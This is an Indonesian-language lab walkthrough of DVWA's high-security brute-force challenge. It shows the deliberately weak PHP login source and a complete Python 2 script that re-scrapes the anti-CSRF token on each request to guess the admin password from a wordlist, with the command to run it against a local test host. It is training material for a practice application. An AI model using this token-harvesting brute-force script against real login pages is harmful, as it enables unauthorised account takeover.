# High

## High

Brute Force level High on DVWA

Di bawah ini adalah *source-code* dari form login level high di DVWA.

```php
vulnerabilities/brute/source/high.php

<?php
​
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
​
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );
​
    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
​
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
​
        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }
​
    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>
```

## Mendapatkan Informasi <a href="#mendapatkan-informasi" id="mendapatkan-informasi"></a>

Pada level high ini, server akan melakukan validasi Anti-CSRF token terlebih dahulu. Dan jika gagal melakukan login akan terjadi *delay* 0-3 detik.

Singkatnya, **Anti-CSRF token** adalah token yang bersifat unik (setiap adanya *request* baru nilanya akan berubah) yang digunakan untuk memastikan user melakukan *request* secara resmi.

Jika kita melakukan *inspect element*, maka akan terlihat terdapat tag `input` bertipe *hidden* dengan nama `user_token` beserta nilainya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLORQjEljieIBJY-0a%2F-LzLk81b17EnXBggG2li%2Fimage.png?alt=media\&token=fb8d7e73-fea0-4143-91dd-06a586fae775)

Nilai dari token tersebut akan selalu berubah ketika kita melakukan *request* yang baru (coba saja anda *refresh*, pasti hasilnya akan berbeda).

Jika kita memaksa untuk menggunakan nilai yang sama, maka *request* akan gagal dilakukan dan halaman akan di-*redirect* ke form login kembali.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLORQjEljieIBJY-0a%2F-LzLloq5uw3u7lCt35rv%2FDeepinScreenshot_select-area_20200124155745.png?alt=media\&token=f556309b-499e-4593-b5d3-4f27ab3c7ecf)

Untuk menghadapi masalah ini kita tidak bisa menggunakan **Hydra** lagi, karena tidak bisa mengatasi Anti-CSRF token yang selalu berubah-ubah. Oleh karena itu, kita akan melakukan brute force dengan membuat *script* sendiri menggunakan bahasa Python.

```python
nano bruteforce.py

/Tulis script berikut
from sys import argv
import requests
from BeautifulSoup import BeautifulSoup as Soup
​
# give our arguments more semantic friendly names
script, filename, success_message = argv
txt = open(filename)
​
# set up our target, cookie and session
url = 'http://172.17.0.2/vulnerabilities/brute/index.php'
cookie = {'security': 'high', 'PHPSESSID':'77jr5376ldag1qc392brdr2b11'}
s = requests.Session()
target_page = s.get(url, cookies=cookie)
​
''' 
checkSuccess
@param: html (String)
​
Searches the response HTML for our specified success message
'''
def checkSuccess(html):
 # get our soup ready for searching
 soup = Soup(html)
 # check for our success message in the soup
 search = soup.findAll(text=success_message)
 
 if not search:
  success = False
​
 else:
  success = True
​
# return the brute force result
 return success
​
# Get the intial CSRF token from the target site
page_source = target_page.text
soup = Soup(page_source);
csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
​
# Display before attack
print 'DVWA URL' + url
print 'CSRF Token='+ csrf_token
​
# Loop through our provided password file
with open(filename) as f:
 print 'Running brute force attack...'
 for password in f:
​
# Displays password tries and strips whitespace from password list  
  print 'password tryed: ' + password
  password = password.strip()
​
  # setup the payload
  payload = {'username': 'admin', 'password': password, 'Login': 'Login', 'user_token': csrf_token}
  r = s.get(url, cookies=cookie, params=payload)
  success = checkSuccess(r.text)
​
  if not success:
   # if it failed the CSRF token will be changed. Get the new one
   soup = Soup(r.text)
   csrf_token = soup.findAll(attrs={"name": "user_token"})[0].get('value')
  else:
   # Success! Show the result
   print 'Password is: ' + password
   break
​
# We failed, bummer. 
 if not success:
  print 'Brute force failed. No matches found.'
```

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Pertama, kita siapkan dulu *script*-nya seperti berikut:

*Script* tersebut saya dapatkan ketika membaca artikel [Danny Beton](https://medium.com/@dannybeton/dvwa-brute-force-tutorial-high-security-456e6ed3ae39).

*Script* tersebut menggunakan Python2. Sebelum menjalankannya, pastikan dependensi telah terinstall.

```bash
sudo pip install requestssudo pip install beautifulsoup
```

Untuk menjalankan *script* tersebut, kita membutuhkan parameter untuk nama file wordlist dan pesan sukses untuk menentukan keberhasilannya, seperti berikut:

```bash
python2.7 bruteforce.py DVWA-Wordlist.txt "Welcome to the password protected area admin"
```

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-LzLORQjEljieIBJY-0a%2F-LzLxTt88Mx2zuQD-zqx%2FDeepinScreenshot_select-area_20200124165025.png?alt=media\&token=2d93a6c9-c822-47e0-8ef6-6a913f409450)

Jika berhasil, akan muncul password yang valid seperti gambar di atas.
